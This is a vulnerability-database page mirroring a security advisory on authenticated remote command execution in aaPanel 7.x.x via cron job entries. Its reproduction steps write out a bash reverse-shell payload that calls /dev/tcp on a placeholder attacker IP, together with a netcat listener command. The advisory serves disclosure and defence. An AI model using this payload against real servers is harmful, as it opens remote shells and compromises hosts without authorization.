Lucene search
K

📄 aaPanel 7.x.x Remote Command Execution

🗓️ 19 Sep 2025 00:00:00Reported by Alasdair Gorniak, Hamed KohiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 350 Views

Authenticated remote command execution in aaPanel 7.x.x via cron job manipulation to run arbitrary code.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Argument Injection in Aapanel
18 Jun 202011:04
githubexploit
CNVD
aaPanel Remote Code Execution Vulnerability
19 Jun 202000:00
cnvd
CVE
CVE-2020-14421
18 Jun 202012:51
cve
Cvelist
CVE-2020-14421
18 Jun 202012:51
cvelist
Exploit DB
aaPanel 6.6.6 - Privilege Escalation & Remote Code Execution (Authenticated)
16 Oct 202000:00
exploitdb
EUVD
EUVD-2020-6560
7 Oct 202500:30
euvd
NVD
CVE-2020-14421
18 Jun 202013:15
nvd
OSV
CVE-2020-14421
18 Jun 202013:15
osv
Packet Storm
aaPanel 6.6.6 Privilege Escalation
16 Oct 202000:00
packetstorm
Prion
Code injection
18 Jun 202013:15
prion
Rows per page
This is authenticated RCE.
    
    Vulnerability Description
    
    During my testing/evaluation of aaPanel, I identified a flaw in how cron
    jobs are handled, which enables an attacker to inject and execute arbitrary
    commands remotely. Specifically:
    
       -
    
       An authenticated user can manipulate cron job entries in a way that
       breaks out of the software to the server.
       -
    
       This leads to the execution of malicious code on the server hosting
       aaPanel, potentially compromising the entire system.
    
    Steps to Reproduce
    
       1.
    
       Log in to the aaPanel dashboard
    
       2.
    
       Create a new cron job with the payload:    bash -c "bash -i >& /dev/tcp/XXXX/1234 0>&1"   (XXXX is your ip)
    
       3.
    
       Save the cron job and trigger it (or wait for the scheduled execution).
       Start a listener on the other side to receive: nc -lvnp 1234
    
       4.
    
       Observe the execution of the injected command on the server and RCE.
    
       Many thanks,
    
       Alasdair Gorniak/Hamed Kohi

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Sep 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.2
CVSS 29
EPSS0.0597
350